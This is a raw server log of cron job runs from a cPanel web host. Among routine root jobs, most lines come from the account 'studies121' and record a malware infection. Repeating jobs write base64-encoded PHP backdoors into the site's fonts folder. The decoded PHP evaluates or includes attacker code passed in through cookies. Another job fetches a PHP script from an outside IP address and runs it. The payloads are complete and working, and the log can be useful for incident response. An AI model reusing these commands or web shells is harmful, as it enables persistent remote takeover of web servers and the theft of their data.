Sep 10 00:57:01 ip-184-168-122-23 CROND[7380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:57:01 ip-184-168-122-23 CROND[7382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:58:01 ip-184-168-122-23 CROND[7536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:58:01 ip-184-168-122-23 CROND[7538]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 00:58:01 ip-184-168-122-23 CROND[7539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:58:01 ip-184-168-122-23 CROND[7540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:58:01 ip-184-168-122-23 CROND[7542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 00:59:01 ip-184-168-122-23 CROND[7620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:59:01 ip-184-168-122-23 CROND[7622]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 00:59:01 ip-184-168-122-23 CROND[7623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:59:01 ip-184-168-122-23 CROND[7624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:00:01 ip-184-168-122-23 CROND[7707]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:00:01 ip-184-168-122-23 CROND[7708]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 01:00:01 ip-184-168-122-23 CROND[7711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:00:01 ip-184-168-122-23 CROND[7713]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 01:00:01 ip-184-168-122-23 CROND[7716]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 01:00:01 ip-184-168-122-23 CROND[7714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:00:01 ip-184-168-122-23 CROND[7717]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:00:01 ip-184-168-122-23 CROND[7718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:01:01 ip-184-168-122-23 CROND[7816]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[7816]: starting 0anacron
Sep 10 01:01:01 ip-184-168-122-23 CROND[7826]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:01:01 ip-184-168-122-23 CROND[7823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:01:01 ip-184-168-122-23 CROND[7825]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 01:01:01 ip-184-168-122-23 CROND[7822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:01:01 ip-184-168-122-23 CROND[7824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:01:01 ip-184-168-122-23 anacron[7836]: Anacron started on 2026-09-10
Sep 10 01:01:01 ip-184-168-122-23 anacron[7836]: Normal exit (0 jobs run)
Sep 10 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[7839]: finished 0anacron
Sep 10 01:02:01 ip-184-168-122-23 CROND[7918]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:02:01 ip-184-168-122-23 CROND[7920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:02:01 ip-184-168-122-23 CROND[7921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:02:01 ip-184-168-122-23 CROND[7922]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:02:01 ip-184-168-122-23 CROND[7924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:03:01 ip-184-168-122-23 CROND[8086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:03:01 ip-184-168-122-23 CROND[8088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:03:01 ip-184-168-122-23 CROND[8092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:03:01 ip-184-168-122-23 CROND[8091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:04:02 ip-184-168-122-23 CROND[8196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:04:02 ip-184-168-122-23 CROND[8200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:04:02 ip-184-168-122-23 CROND[8197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:04:02 ip-184-168-122-23 CROND[8198]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:04:02 ip-184-168-122-23 CROND[8199]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:05:01 ip-184-168-122-23 CROND[8303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:05:01 ip-184-168-122-23 CROND[8307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:05:01 ip-184-168-122-23 CROND[8309]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 01:05:01 ip-184-168-122-23 CROND[8310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:05:01 ip-184-168-122-23 CROND[8306]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 01:05:01 ip-184-168-122-23 CROND[8308]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 01:05:01 ip-184-168-122-23 CROND[8305]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:06:01 ip-184-168-122-23 CROND[8394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:06:01 ip-184-168-122-23 CROND[8397]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:06:01 ip-184-168-122-23 CROND[8396]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:06:01 ip-184-168-122-23 CROND[8400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:06:01 ip-184-168-122-23 CROND[8399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:07:01 ip-184-168-122-23 CROND[8509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:07:01 ip-184-168-122-23 CROND[8510]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:07:01 ip-184-168-122-23 CROND[8513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:07:01 ip-184-168-122-23 CROND[8511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:08:01 ip-184-168-122-23 CROND[8591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:08:01 ip-184-168-122-23 CROND[8593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:08:01 ip-184-168-122-23 CROND[8592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:08:01 ip-184-168-122-23 CROND[8594]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:08:01 ip-184-168-122-23 CROND[8599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
